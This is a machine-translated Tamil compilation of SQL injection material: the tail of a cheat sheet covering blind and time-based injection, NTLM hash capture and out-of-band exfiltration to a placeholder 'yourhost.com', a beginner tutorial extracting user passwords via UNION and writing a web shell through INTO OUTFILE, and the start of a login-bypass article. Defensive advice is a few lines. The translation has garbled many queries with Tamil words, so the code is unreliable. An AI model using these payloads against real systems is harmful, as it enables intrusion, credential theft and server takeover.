30. Oracle (O) இல் தரவுத்தள கட்டமைப்பைத் தேடுகிறது
எடுத்துக்காட்டுகள்:
அனைத்து_டேபிள்களில் இருந்து * தேர்வு செய்
தனிப்பயன் அட்டவணைகளைப் பெறுதல்

தேர்வு * அனைத்து_col_comments எங்கே TABLE_NAME = "TABLE"
நெடுவரிசைப் பெயர்களைப் பெறுதல்

31. குருட்டு ஊசி
தரமான பயன்பாட்டில், நீங்கள் பிழை செய்திகளைப் பார்க்க முடியாது. UNION ஆபரேட்டர் மற்றும் பிழை அடிப்படையிலான தாக்குதல்களை உங்களால் பயன்படுத்த முடியாது. தரவைப் பிரித்தெடுக்க நீங்கள் குருட்டு SQL ஊசியைப் பயன்படுத்த வேண்டும். குருட்டு ஊசிகளில் இரண்டு வகைகள் உள்ளன.
வழக்கமான குருட்டு ஊசி: பக்கத்தில் உள்ள கோரிக்கைகளின் முடிவுகளை உங்களால் பார்க்க முடியாது, ஆனால் பதில் அல்லது HTTP நிலையிலிருந்து முடிவை நீங்கள் தீர்மானிக்கலாம்.
முற்றிலும் குருட்டு ஊசி: வெளியீட்டில் எந்த வித்தியாசத்தையும் நீங்கள் காண மாட்டீர்கள்.
சாதாரண குருட்டு ஊசிகளில் நீங்கள் IF மற்றும் WHERE அறிக்கைகளைப் பயன்படுத்தலாம், முழு குருட்டு ஊசிகளில் நீங்கள் சில காத்திருப்பு செயல்பாடுகளைப் பயன்படுத்த வேண்டும் மற்றும் மறுமொழி நேரத்தை ஒப்பிட வேண்டும். இதைச் செய்ய, SQL சர்வரில் '0:0:10' தாமதத்திற்காக காத்திருக்கவும், பெஞ்ச்மார்க்() மற்றும் MySQL இல் ஸ்லீப்(10), PostgreSQL இல் pg_sleep(10) ஐப் பயன்படுத்தலாம்.
உதாரணமாக:
இந்த எடுத்துக்காட்டு SQL சேவையகத்தில் குருட்டு ஊசியின் நிஜ வாழ்க்கை செயல்பாட்டை அடிப்படையாகக் கொண்டது.

உண்மை: ஐடி, பயனர்பெயர், மின்னஞ்சல் ஐடி = 1 மற்றும் ISNULL (ASCII(SUBSTRING(SysObjects இலிருந்து முதல் 1 பெயரைத் தேர்ந்தெடு) xtYpe=0x55 மற்றும் உள்ளே இல்லாத பெயரைத் தேர்ந்தெடுக்கவும்) ,1)),0)>78--

தவறான: ஐடி, பயனர்பெயர், மின்னஞ்சல் ஐடி = 1 மற்றும் ISNULL (ASCII(SUBSTRING(SysObjects இலிருந்து முதல் 1 பெயரைத் தேர்ந்தெடு xtYpe=0x55 மற்றும் இல் இல்லாத பெயர்) ,1)),0)>103--

தவறான: ஐடி, பயனர்பெயர், மின்னஞ்சல் ஐடி = 1 மற்றும் ISNULL (ASCII(SUBSTRING(SysObjects இலிருந்து முதல் 1 பெயரைத் தேர்ந்தெடு xtYpe=0x55 மற்றும் இல் இல்லாத பெயர்) ,1)),0)>89--

தவறான: ஐடி, பயனர்பெயர், மின்னஞ்சல் ஐடி = 1 மற்றும் ISNULL (ASCII(SUBSTRING(SysObjects இலிருந்து முதல் 1 பெயரைத் தேர்ந்தெடு xtYpe=0x55 மற்றும் இல் இல்லாத பெயர்) ,1)),0)>83--

உண்மை: ஐடி, பயனர்பெயர், மின்னஞ்சல் ஐடி = 1 மற்றும் ISNULL (ASCII(SUBSTRING(SysObjects இலிருந்து முதல் 1 பெயரைத் தேர்ந்தெடு) xtYpe=0x55 மற்றும் உள்ளே இல்லாத பெயரைத் தேர்ந்தெடுக்கவும்) ,1)),0)>79--

தவறான: ஐடி, பயனர்பெயர், மின்னஞ்சல் ஐடி = 1 மற்றும் ISNULL (ASCII(SUBSTRING(SysObjects இலிருந்து முதல் 1 பெயரைத் தேர்ந்தெடு xtYpe=0x55 மற்றும் இல் இல்லாத பெயர்) ,1)),0)>80--

கடைசி இரண்டு வினவல்களின் அடிப்படையில், ascii இல் உள்ள முதல் எழுத்தின் மதிப்பு சரியாகத் தெரியும் - அது 80. அதாவது முதல் எழுத்து `P`. இதன் மூலம் அட்டவணைகளின் பெயர்கள் மற்றும் அவற்றின் உள்ளடக்கங்களைக் கண்டறியலாம். மற்றொரு வழி, தரவுகளை பிட் பிட் படிப்பது.

32. முற்றிலும் குருட்டு ஊசி
உண்மையிலேயே குருட்டு ஊசி போட்டால் மட்டுமே இந்த முறையைப் பயன்படுத்தவும். காத்திருப்பு நேரங்களில் கவனமாக இருங்கள்.
தொடரியல்:
தாமதத்திற்கு காத்திருங்கள் "நேரம்" (எஸ்)
செயலியை ஏற்றாமல் குறிப்பிட்ட நேரத்திற்கு செயல்பாடு வெறுமனே காத்திருக்கிறது.
எடுத்துக்காட்டுகள்:
என்றால் (பயனரை தேர்ந்தெடு) = "sa" தாமதத்திற்காக காத்திருக்கவும் "0:0:10"
தயாரிப்பு ஐடி =1;தாமதத்திற்காக காத்திருங்கள் "0:0:10"--
தயாரிப்பு ஐடி =1);தாமதத்திற்காக காத்திருங்கள் "0:0:10"--
தயாரிப்பு ஐடி =1";தாமதத்திற்காக காத்திரு "0:0:10"--
தயாரிப்பு ஐடி =1");தாமதத்திற்காக காத்திருங்கள் "0:0:10"--
தயாரிப்பு ஐடி =1));தாமதத்திற்காக காத்திருங்கள் "0:0:10"--
தயாரிப்பு ஐடி =1"));தாமதத்திற்காக காத்திருங்கள் "0:0:10"--
தொடரியல்:
பெஞ்ச்மார்க்(எத்தனை முறை, இதைச் செய்யுங்கள்) (எம்)
உதாரணமாக:
இருந்தால் (பயனர் பெயர் = "ரூட்" இருக்கும் பயனர்களிடமிருந்து * தேர்ந்தெடுக்கவும்) பெஞ்ச்மார்க்(1000000000,MD5(1))
ரூட் பயனரின் இருப்பை நாங்கள் சரிபார்க்கிறோம்.

என்றால் (உள்நுழைவிலிருந்து * தேர்ந்தெடு) பெஞ்ச்மார்க்(1000000,MD5(1))
MySQL இல் ஒரு அட்டவணை இருப்பதை சரிபார்க்கிறது
தொடரியல்:
pg_sleep(வினாடிகள்) (P)
வழங்கப்பட்ட வினாடிகளுக்கு தூங்குங்கள்.

தூக்கம்(வினாடிகள்) (எம்)
வழங்கப்பட்ட விநாடிகளுக்கு தூங்குங்கள்.

bms_pipe.receive_message (O)
வழங்கப்பட்ட விநாடிகளுக்கு தூங்குங்கள்.
உதாரணமாக:
(எப்போது வழக்கைத் தேர்ந்தெடுக்கவும் (NVL(ASCII(SUBSTR(((இன்ஜெக்ஷன்))),1,1)),0) = 100) பிறகு dbms_pipe.receive_message(("xyz"),10) ELSE dbms_pipe.receive_message(("xyz" ),1) இரட்டையிலிருந்து முடிவு)
(ஊசி) - உங்கள் கோரிக்கை.
நிபந்தனை உண்மையாக இருந்தால், பதில் 10 வினாடிகளாக இருக்கும். இல்லையெனில் பதில் 1 வினாடியாக இருக்கும்.

33. பயனுள்ள MySQL அம்சங்கள்
தொடரியல்:
MD5()
SHA1()
கடவுச்சொல்()
என்கோடு()
சுருக்க()
ROW_COUNT()
ஸ்கீமா()
பதிப்பு()

34. இரண்டாவது வரிசை SQL ஊசிகள்
பொதுவாக, நீங்கள் ஒரு SQL ஊசி வினவலை ஒரு புலத்தில் செருகுவீர்கள், மேலும் அது வடிகட்டப்படாது என்று எதிர்பார்க்கலாம்.
உதாரணமாக:
பெயர்: " + (பயனர்களிடமிருந்து முதல் 1 கடவுச்சொல்லைத் தேர்ந்தெடுக்கவும்) + "
மின்னஞ்சல்: [மின்னஞ்சல் பாதுகாக்கப்பட்டது]
பயன்பாடு சேமிக்கப்பட்ட செயல்முறை அல்லது செயல்பாட்டின் புலப் பெயரைப் பயன்படுத்தினால், நீங்கள் ஊசிக்கு இதைப் பயன்படுத்தலாம்.

35. NTLM ஹாஷ்களைப் பிரித்தெடுக்க SQL சேவையகத்தைப் பயன்படுத்துதல்
வெளியில் இருந்து அணுகல் இல்லை என்றால், இலக்கு சேவையகத்தின் விண்டோஸ் பயனர் கடவுச்சொல்லை SQL சர்வர் மூலம் பெற இந்தத் தாக்குதல் உதவும். UNC பாதை வழியாக விண்டோஸுடன் இணைக்க SQL சேவையகத்தை கட்டாயப்படுத்தலாம் மற்றும் கெய்ன் & ஏபெல் போன்ற சிறப்பு கருவிகளைப் பயன்படுத்தி NTLM அமர்வைப் பிரித்தெடுக்கலாம்.

தொடரியல்:
UNC பாதை: "\\YOURIPADDRESS\C$\x.txt"
36. ஊசி மற்ற உதாரணங்கள்
SQL சர்வர்:
?பாதிக்கக்கூடிய பரம்=1; OPENROWSET இலிருந்து * தேர்ந்தெடு ("SQLOLEDB", ((ஊசி)

?பாதிக்கக்கூடிய பரம்=1; அறிவிக்கவும் @q varchar(1024); SET @q = "\\"+((இன்ஜெக்ஷன்))+".yourhost.com\\test.txt"; EXEC மாஸ்டர்..xp_dirtree @q
(INJECTION) க்கு DNS வினவலை உருவாக்குகிறது.yourhost.com

(ஊசி) - உங்கள் கோரிக்கை.
MySQL:
?vulnerableParam=-99 அல்லது (LOAD_FILE ஐத் தேர்ந்தெடுக்கவும்("\\\\",((இன்ஜெக்ஷன்)), "yourhost.com\\")))
yourhost.com க்கு NBNS/DNS கோரிக்கையை உருவாக்குகிறது
?vulnerableParam=-99 அல்லது (((உட்செலுத்துதல்)) வெளிப்புறமாக "\\\\yourhost.com\\share\\output.txt")
உங்கள் கோப்பில் தரவை எழுதுகிறது
(ஊசி) - உங்கள் கோரிக்கை.
ஆரக்கிள்:
?vulnerableParam=(UTL_HTTP.REQUEST("http://host/ sniff.php?sniff="||((இன்ஜெக்ஷன்))||"") இரண்டிலிருந்து தேர்ந்தெடுக்கவும்)
மோப்பம் செய்பவர் முடிவுகளைச் சேமிக்கும்
?vulnerableParam=(UTL_HTTP.REQUEST("http://host/ "||((INJECTION))||".html") இரண்டிலிருந்து தேர்ந்தெடுக்கவும்)
முடிவுகள் HTTP பதிவுகளில் சேமிக்கப்படும்
?vulnerableParam=(UTL_INADDR.get_host_addr(((INJECTION))||".yourhost.com") இரண்டிலிருந்து தேர்ந்தெடுக்கவும்)

?vulnerableParam=(SYS.DBMS_LDAP.INIT((((இன்ஜெக்ஷன்)))||’.yourhost.com’,80) இரண்டிலிருந்து தேர்ந்தெடுக்கவும்)
yourhost.com க்கான DNS கோரிக்கை போக்குவரத்தை நீங்கள் பகுப்பாய்வு செய்ய வேண்டும்
(ஊசி) - உங்கள் கோரிக்கை.

இந்த பொருள் SQL இன்ஜெக்ஷன் சீட் ஷீட் கட்டுரையின் தழுவல் மொழிபெயர்ப்பாகும்.

வாழ்த்துக்கள், வாசகர். சமீபத்தில், நான் இணைய பாதுகாப்பில் ஆர்வமாக இருந்தேன், ஓரளவுக்கு எனது பணி இதனுடன் தொடர்புடையது. ஏனெனில் பல்வேறு மன்றங்களில் உள்ள தலைப்புகளை நான் அடிக்கடி கவனிக்க ஆரம்பித்தேன், இவை அனைத்தும் எவ்வாறு செயல்படுகின்றன என்பதைக் காட்டும்படி கேட்டுக்கொள்கிறேன், எனவே ஒரு கட்டுரையை எழுத முடிவு செய்தேன். கட்டுரை இதை எதிர்கொள்ளாத, ஆனால் கற்றுக்கொள்ள விரும்புவோரை இலக்காகக் கொண்டிருக்கும். இணையத்தில் இந்த தலைப்பில் ஒப்பீட்டளவில் பல கட்டுரைகள் உள்ளன, ஆனால் ஆரம்பநிலைக்கு அவை கொஞ்சம் சிக்கலானவை. எல்லாவற்றையும் தெளிவான மொழியிலும் விரிவான எடுத்துக்காட்டுகளிலும் விவரிக்க முயற்சிப்பேன்.

முன்னுரை

இந்தக் கட்டுரையைப் புரிந்துகொள்வதற்கு, SQL மொழியைப் பற்றிய அறிவு உங்களுக்கு உண்மையில் தேவையில்லை, ஆனால் மனப்பாடம் செய்வதற்கு குறைந்தபட்சம் நல்ல பொறுமை மற்றும் ஒரு சிறிய மூளை.

கட்டுரையைப் படித்தால் மட்டும் போதாது என்று நான் நம்புகிறேன், ஏனென்றால்... எங்களுக்கு வாழ்க்கை எடுத்துக்காட்டுகள் தேவை - உங்களுக்குத் தெரியும், மனப்பாடம் செய்யும் செயல்பாட்டில் பயிற்சி ஒருபோதும் மிதமிஞ்சியதாக இருக்காது. எனவே, நாங்கள் பாதிக்கப்படக்கூடிய ஸ்கிரிப்ட்களை எழுதி அவற்றைப் பயிற்றுவிப்போம்.

SQL ஊசி என்றால் என்ன?
எளிமையான சொற்களில், இது தரவுத்தளத்தின் மீதான தாக்குதலாகும், இது ஸ்கிரிப்ட் உருவாக்கியவரால் திட்டமிடப்படாத சில செயல்களைச் செய்ய உங்களை அனுமதிக்கும். வாழ்க்கையின் உதாரணம்:

வாஸ்யாவுக்கு 100 ரூபிள் கொடுத்து மேசையில் வைக்கும்படி தந்தை தனது தாயிடம் ஒரு குறிப்பில் எழுதினார். இதை காமிக் SQL மொழியில் மறுவேலை செய்தால், நாங்கள் பெறுகிறோம்:
உங்கள் பணப்பையில் இருந்து 100 ரூபிள்களை எடுத்து வாஸ்யாவிடம் கொடுங்கள்

தந்தை குறிப்பை மோசமாக எழுதி (விகாரமான கையெழுத்து) அதை மேசையில் விட்டுச் சென்றதால், வாஸ்யாவின் சகோதரர் பெட்டியா அதைப் பார்த்தார். பெட்யா, ஒரு ஹேக்கராக இருப்பதால், "OR பீட்" ஐச் சேர்த்தார், இதன் விளைவாக பின்வரும் கோரிக்கை வந்தது:
உங்கள் பணப்பையில் இருந்து 100 ரூபிள்களை எடுத்து வாஸ்யா அல்லது பெட்டியாவிடம் கொடுங்கள்

அம்மா, குறிப்பைப் படித்த பிறகு, நேற்று வாஸ்யாவுக்கு பணம் கொடுத்ததாக முடிவு செய்து, பெட்டியாவுக்கு 100 ரூபிள் கொடுத்தார். வாழ்க்கையில் இருந்து SQL ஊசி போடுவதற்கான எளிய உதாரணம் இங்கே:) தரவை வடிகட்டாமல் (அம்மாவுக்கு கையெழுத்து புரியவில்லை), பெட்டியா லாபம் ஈட்டினார்.

தயாரிப்பு
பயிற்சிக்கு, இந்தக் கட்டுரைக்கான மூல ஸ்கிரிப்ட்களுடன் கூடிய காப்பகம் உங்களுக்குத் தேவைப்படும். அதை பதிவிறக்கம் செய்து சர்வரில் திறக்கவும். மேலும் தரவுத்தளத்தை இறக்குமதி செய்து கோப்பில் தரவை அமைக்கவும் cfg.php

SQL ஊசியைத் தேடுங்கள்

நீங்கள் ஏற்கனவே புரிந்து கொண்டபடி, உட்செலுத்துதல் வடிகட்டப்படாத உள்வரும் தரவிலிருந்து வருகிறது. அனுப்பப்பட்ட ஐடியை வடிகட்டாதது மிகவும் பொதுவான தவறு. சரி, தோராயமாகச் சொன்னால், எல்லா துறைகளிலும் மேற்கோள்களை இடுங்கள். அது GET/POST கோரிக்கையாக இருந்தாலும் அல்லது குக்கீயாக இருந்தாலும் சரி!

எண் உள்ளீட்டு அளவுரு
பயிற்சிக்கு நமக்கு ஒரு ஸ்கிரிப்ட் தேவை index1.php. நான் மேலே கூறியது போல், செய்தி ஐடியில் மேற்கோள்களைச் செருகுவோம்.

ஏனெனில் எங்கள் கோரிக்கையில் வடிகட்டுதல் இல்லை:

$id = $_GET["id"]; $query = "தேர்வு * செய்திகள் எங்கிருந்து id=$id";

ஸ்கிரிப்ட் இதைப் புரிந்து கொள்ளும்

ஐடி = 1" என்ற செய்தியிலிருந்து தேர்ந்தெடுக்கவும்

மேலும் இது எங்களுக்கு ஒரு பிழையைத் தரும்:
எச்சரிக்கை: mysql_fetch_array() அளவுரு 1 ஆதாரமாக இருக்கும் என்று எதிர்பார்க்கிறது, பூலியன் C:\WebServ\domains\sqlinj\index1.php இல் வரி 16 இல் கொடுக்கப்பட்டுள்ளது

பிழை தோன்றவில்லை என்றால், பின்வரும் காரணங்கள் இருக்கலாம்:

1.SQL இன்ஜெக்ஷன் இங்கே இல்லை - மேற்கோள்கள் வடிகட்டப்பட்டுள்ளன, அல்லது அதை மாற்றுவது மதிப்பு (int)
2. பிழை வெளியீடு முடக்கப்பட்டுள்ளது.

இன்னும் பிழை ஏற்பட்டால் - ஹர்ரே! முதல் வகை SQL இன்ஜெக்ஷனைக் கண்டறிந்தோம் - எண் உள்ளீட்டு அளவுரு.

சரம் உள்ளீட்டு அளவுரு

நாங்கள் கோரிக்கைகளை அனுப்புவோம் index2.php. இந்த கோப்பில், கோரிக்கை இதுபோல் தெரிகிறது:
$user = $_GET["பயனர்"]; $query = "எங்கே பயனர் = "$user"" செய்தியிலிருந்து * தேர்ந்தெடுங்கள்;

இங்கே நாம் பயனர்பெயர் மூலம் செய்திகளைத் தேர்ந்தெடுக்கிறோம், மீண்டும், நாங்கள் வடிகட்டுவதில்லை.
மீண்டும் ஒரு மேற்கோளுடன் ஒரு கோரிக்கையை அனுப்புகிறோம்:

அது பிழையைக் கொடுத்தது. சரி! இதன் பொருள் பாதிப்பு உள்ளது. தொடக்கத்தில், இது போதும் - பயிற்சிக்கு வருவோம்.

நடவடிக்கை எடுப்போம்

ஒரு சிறிய கோட்பாடு

தவறுகளைத் தவிர வேறு எதையாவது பெற நீங்கள் காத்திருக்க முடியாது. முதலில், அடையாளம் " -- " SQL இல் ஒரு கருத்து என்று கருதப்படுகிறது.

கவனம்! அதற்கு முன்னும் பின்னும் இடைவெளிகள் இருக்க வேண்டும். URL இல் அவை இவ்வாறு அனுப்பப்படுகின்றன %20

கருத்துக்குப் பின் வரும் அனைத்தும் நிராகரிக்கப்படும்.அதாவது கோரிக்கை:
செய்தியிலிருந்து * தேர்ந்தெடு

அது வெற்றி பெறும். இது போன்ற கோரிக்கையை அனுப்புவதன் மூலம் index2.php ஸ்கிரிப்ட்டில் இதை முயற்சி செய்யலாம்:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

அளவுருவைக் கற்றுக்கொள்ளுங்கள் யூனியன். SQL மொழியில் முக்கிய சொல் யூனியன்இரண்டு SQL வினவல்களின் முடிவுகளை ஒரு அட்டவணையில் இணைக்கப் பயன்படுகிறது. அதாவது, மற்றொரு அட்டவணையில் இருந்து நமக்குத் தேவையான ஒன்றை வெளியே எடுப்பதற்காக.

அதைப் பயன்படுத்திக் கொள்வோம்

அளவுரு "எண்" எனில், கோரிக்கையில் மேற்கோளை அனுப்ப வேண்டிய அவசியமில்லை மற்றும் இறுதியில் ஒரு கருத்தை இடுங்கள். ஸ்கிரிப்ட்டுக்கு வருவோம் index1.php.

sqlinj/index1.php?id=1 UNION SELECT 1 ஸ்கிரிப்டுக்கு வருவோம். எங்கள் தரவுத்தள வினவல் இதுபோல் தெரிகிறது:
தேர்ந்தெடு * செய்திகள் எங்கிருந்து ஐடி = 1 யூனியன் தேர்வு 1
அவர் எங்களுக்கு ஒரு பிழையைக் கொடுத்தார், ஏனென்றால் ... வினவல்களை ஒன்றிணைப்பதில் பணியாற்ற, எங்களுக்கு அதே எண்ணிக்கையிலான புலங்கள் தேவை.

ஏனெனில் முதல் கோரிக்கையில் அவர்களின் எண்ணை நம்மால் பாதிக்க முடியாது, அதன் பிறகு இரண்டாவது கோரிக்கையில் அவர்களின் எண்ணைத் தேர்ந்தெடுக்க வேண்டும், அது முதல் கோரிக்கைக்கு சமமாக இருக்கும்.

புலங்களின் எண்ணிக்கையைத் தேர்ந்தெடுப்பது

புலங்களைத் தேர்ந்தெடுப்பது மிகவும் எளிது, பின்வரும் கோரிக்கைகளை அனுப்பவும்:
sqlinj/index1.php?id=1 யூனியன் தேர்வு 1,2
பிழை…
sqlinj/index1.php?id=1 யூனியன் தேர்வு 1,2,3
மீண்டும் பிழை!
sqlinj/index1.php?id=1 யூனியன் தேர்வு 1,2,3,4,5
பிழை இல்லை! இதன் பொருள் நெடுவரிசைகளின் எண்ணிக்கை 5 ஆகும்.

குழு மூலம்
20 அல்லது 40 அல்லது 60 புலங்கள் இருக்கலாம். அதனால் ஒவ்வொரு முறையும் அவற்றை வரிசைப்படுத்த வேண்டியதில்லை, நாங்கள் பயன்படுத்துகிறோம் குழு மூலம்

கோரிக்கை என்றால்
sqlinj/index1.php?id=1 குழு 2
எந்தப் பிழையையும் காட்டவில்லை, அதாவது புலங்களின் எண்ணிக்கை 2க்கு மேல் உள்ளது. முயற்சிப்போம்:

Sqlinj/index1.php?id=1 குழு 8
ஓப், நாங்கள் ஒரு பிழையைக் காண்கிறோம், அதாவது புலங்களின் எண்ணிக்கை 8 க்கும் குறைவாக உள்ளது.

GROUP BY 4 இல் பிழை இல்லை என்றால், GROUP BY 6 இல் பிழை இருந்தால், புலங்களின் எண்ணிக்கை 5 ஆகும்

வெளியீட்டு நெடுவரிசைகளை வரையறுத்தல்
முதல் கோரிக்கையிலிருந்து எங்களுக்கு எதுவும் காட்டப்படவில்லை என்பதை உறுதிப்படுத்த, இல்லாத ஐடியை மாற்றினால் போதும், எடுத்துக்காட்டாக:

Sqlinj/index1.php?id=-1 UNION தேர்வு 1,2,3,4,5


இந்தச் செயலின் மூலம், பக்கத்தில் எந்த நெடுவரிசைகள் காட்டப்படும் என்பதை நாங்கள் தீர்மானித்தோம். இப்போது, ​​இந்த எண்களை தேவையான தகவலுடன் மாற்ற, நீங்கள் கோரிக்கையைத் தொடர வேண்டும்.

தரவு வெளியீடு

அட்டவணை இன்னும் உள்ளது என்று எங்களுக்குத் தெரியும் என்று வைத்துக்கொள்வோம் பயனர்கள்இதில் வயல்வெளிகள் உள்ளன ஐடி, பெயர்மற்றும் பாஸ்.
ஐடி=1 உடன் பயனரைப் பற்றிய தகவலைப் பெற வேண்டும்

எனவே, பின்வரும் வினவலை உருவாக்குவோம்:

Sqlinj/index1.php?id=-1 யூனியன் 1,2,3,4,5 ஐ ஐடி=1 இருக்கும் பயனர்களிடமிருந்து தேர்ந்தெடுக்கவும்
ஸ்கிரிப்டும் தொடர்ந்து வெளிவருகிறது

இதைச் செய்ய, 1 மற்றும் 3 எண்களுக்குப் பதிலாக புலங்களின் பெயர்களை மாற்றுவோம்.

Sqlinj/index1.php?id=-1 யூனியன் பெயர், 2, பாஸ், 4,5 ஐ.
நமக்குத் தேவையானதைப் பெற்றோம்!

ஸ்கிரிப்டில் உள்ள "சரம் உள்ளீட்டு அளவுரு" க்கு index2.phpதொடக்கத்தில் மேற்கோள் குறியையும் இறுதியில் கருத்துக் குறியையும் சேர்க்க வேண்டும். உதாரணமாக:
sqlinj/index2.php?user=-1" UNION SELECT பெயர், 2,pass,4,5 பயனர்களிடமிருந்து id=1 --%20

கோப்புகளைப் படிக்கவும்/எழுதவும்

கோப்புகளைப் படிக்கவும் எழுதவும், தரவுத்தளப் பயனருக்கு FILE_PRIV உரிமைகள் இருக்க வேண்டும்.
கோப்புகளை பதிவு செய்தல்
உண்மையில், எல்லாம் மிகவும் எளிது. ஒரு கோப்பை எழுத, செயல்பாட்டைப் பயன்படுத்துவோம் அவுட்ஃபைல்.
sqlinj/index2.php?user=-1" யூனியன் 1,2,3,4,5 ஐ அவுட்டைல் ​​"1.php" --%20க்கு தேர்ந்தெடுக்கவும்
அருமை, கோப்பு எங்களிடம் பதிவு செய்யப்பட்டுள்ளது. இவ்வாறு, நாம் மினி-ஷெல் நிரப்பலாம்:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 அவுட்ஃபைல் "1.php" --%20
கோப்புகளைப் படித்தல்
கோப்புகளைப் படிப்பது எழுதுவதை விட எளிதானது. செயல்பாட்டை வெறுமனே பயன்படுத்தினால் போதும் LOAD_FILE, நாங்கள் தேர்ந்தெடுக்கும் புலத்தின் இடத்திற்கு:

Sqlinj/index2.php?user=-1" UNION தேர்வு 1,LOAD_FILE("1.php"),3,4,5 --%20

எனவே, முந்தைய எழுதப்பட்ட கோப்பைப் படித்தோம்.

பாதுகாப்பு முறைகள்

பாதிப்பைச் சுரண்டுவதை விட உங்களைப் பாதுகாத்துக் கொள்வது மிகவும் எளிதானது. தரவை வடிகட்டினால் போதும். நீங்கள் எண்களைக் கடந்து சென்றால், பயன்படுத்தவும்
$id = (int) $_GET["id"];
பயனர் malroc பரிந்துரைத்தபடி. PDO அல்லது தயாரிக்கப்பட்ட அறிக்கைகளைப் பயன்படுத்தி உங்களைப் பாதுகாத்துக் கொள்ளுங்கள்.

நிறைவுக்கு பதிலாக

இங்குதான் எனது முதல் பகுதியை "தொடக்கத்திற்கான SQL ஊசி" பற்றி முடிக்க விரும்புகிறேன். இரண்டாவதாக, ஊசியின் கடுமையான எடுத்துக்காட்டுகளைப் பார்ப்போம். பாதிக்கப்படக்கூடிய ஸ்கிரிப்ட்களை எழுதவும் மற்றும் வினவல்களை நீங்களே செயல்படுத்தவும் முயற்சிக்கவும்.
உங்கள் தளத்தின் எந்த பயனரையும் நம்ப வேண்டாம் என்பதை நினைவில் கொள்ளவும்.

குறிச்சொற்கள்: குறிச்சொற்களைச் சேர்க்கவும்

SQL ஊசிஒரு ஹேக்கர் பெற ஒரு நல்ல வாய்ப்பு
சேவையகத்திற்கான அணுகல். மற்றும் ஒரு சிறிய முயற்சி, அவர்
இன்னும் கிடைக்கிறது :)

உள்ளே கோடர்

இப்போதெல்லாம், தரவுத்தளங்களுடன் பணிபுரிவது ஆதரிக்கப்படுகிறது
ஏறக்குறைய அனைத்து நிரலாக்க மொழிகளிலும், அடிப்படை, C++, Java, PERL, PHP, Assembler மற்றும் JavaScript ஆகியவை அடங்கும்! இந்த திட்டங்கள் DBMS - தரவுத்தள மேலாண்மை அமைப்புகளைத் தவிர வேறொன்றுமில்லை. நிதிச் சிக்கல்களைத் தீர்க்க தரவுத்தளங்கள் பெரும்பாலும் பயன்படுத்தப்படுகின்றன.
கணக்கியல், பணியாளர் அமைப்பு, ஆனால் அவர்கள் இணையத்தில் தங்கள் விண்ணப்பத்தை கண்டுபிடித்துள்ளனர்.

இணைய பயன்பாடுகளை எழுத தரவுத்தளங்கள் பெரும்பாலும் பயன்படுத்தப்படுகின்றன. பயனர் பதிவு தரவு, அமர்வு அடையாளங்காட்டிகள், தேடல்களை ஒழுங்கமைத்தல் மற்றும் கூடுதல் செயலாக்கம் தேவைப்படும் பிற பணிகளுக்கு அவற்றின் பயன்பாடு மிகவும் பொருத்தமானது.
தரவு அளவு. தரவுத்தளத்தை அணுக, சேவையக தொழில்நுட்பங்கள் பயன்படுத்தப்படுகின்றன: PHP, PERL, ASP போன்றவை. இங்குதான் வேடிக்கை தொடங்குகிறது. சர்வரில் இருக்கும் போது
அனைத்து இணைப்புகளும் நிறுவப்பட்டு, போர்ட் 80 தவிர அனைத்து போர்ட்களையும் ஃபயர்வால் தடுக்கிறது அல்லது சில தரவை அணுக அங்கீகாரம் தேவைப்படும் போது, ​​ஹேக்கர் SQL ஊசியைப் பயன்படுத்தி ஹேக் செய்யலாம். இந்த தாக்குதலின் சாராம்சம், WEB தொழில்நுட்பங்கள் மற்றும் SQL ஆகியவற்றின் சந்திப்பில் ஒரு பிழையைப் பயன்படுத்துவதாகும். உண்மை என்னவென்றால், பயனர் தரவை செயலாக்குவதற்கான பல வலைப்பக்கங்கள் ஒரு சிறப்பு உருவாக்குகின்றன SQLதரவுத்தள கோரிக்கை. இந்த நுட்பத்தை கவனக்குறைவாகப் பயன்படுத்துவது மிகவும் சுவாரஸ்யமான முடிவுகளுக்கு வழிவகுக்கும்.

SQL ஊசி

தாக்குதலை விளக்க, நீங்கள் ஒரு மிக முக்கியமான கருவியைப் பதிவிறக்கம் செய்ய தளத்திற்குச் சென்றீர்கள் என்று கற்பனை செய்து பாருங்கள், பதிவுசெய்த பயனர் மட்டுமே இதைச் செய்ய முடியும் என்பதை திகிலுடன் கவனிக்கவும், மேலும் பதிவுக்கு நிச்சயமாக பணம் செலவாகும் :) நீங்கள் விட்டுக்கொடுக்க விரும்பவில்லை. நீங்கள் கடைசியாக சம்பாதித்த பணம், ஆனால் நிரல் இல்லாமல் உங்களால் செய்ய முடியாது! எப்படி என்பதை நினைவில் கொள்ள வேண்டிய நேரம் இது
அணுகல் தரவுத்தளங்கள் SQL. எடுத்துக்காட்டாக, PHP இல் உங்கள் உள்நுழைவு மற்றும் கடவுச்சொல்லைச் சரிபார்ப்பது இப்படி இருக்கலாம்:

$result=mysql_db_query($db,"தேர்ந்தெடு * $டேபிளில் இருந்து எங்கு பயனர் = "$login" மற்றும்
பாஸ்="$ கடவுச்சொல்"");
$num_rows=mysql_num_rows($முடிவு);
mysql_close($link);
என்றால் ($num_rows!=0)
{
// அங்கீகாரம் சரி
}
வேறு
{
// அங்கீகாரப் பிழை
}

நான் இரண்டு கருத்துகளைச் சேர்த்துள்ளேன், "அங்கீகாரம் சரி" - நான் அதை மாற்ற வேண்டும்
கடவுச்சொல் மற்றும் உள்நுழைவு சரியாக இருந்தால் செயல்படுத்தப்படும் குறியீட்டிற்குச் செல்லவும். மற்றொரு "அங்கீகரித்தல் பிழை" என்பது, அவை தவறாக இருந்தால் செயல்படுத்தப்படும் குறியீடு விவரிக்கப்படும் இடமாகும். நீங்கள் படிவத்தை நிரப்பினால், கோரிக்கை "http://www.server.com?login=user&password=31337" போல் தோன்றும், இங்கு www.server.com என்பது பெயர்
நாங்கள் இணைக்க முயற்சிக்கும் சர்வர். நாங்கள் தேடுவதை நாங்கள் கண்டுபிடித்தோம், எனவே நாங்கள் மீண்டும் வேலைக்குத் திரும்புவோம் SQL. எனவே, அங்கீகாரத்திற்கான உள்நுழைவு மற்றும் கடவுச்சொல்லை நீங்கள் குறிப்பிட வேண்டும் என்றால், உருவாக்கப்பட்டவை SQLகோரிக்கை இப்படி இருக்கும்:

உள்நுழைய = "பயனர்" மற்றும் பயனர்களிடமிருந்து * தேர்ந்தெடுக்கவும்
கடவுச்சொல்="31337"

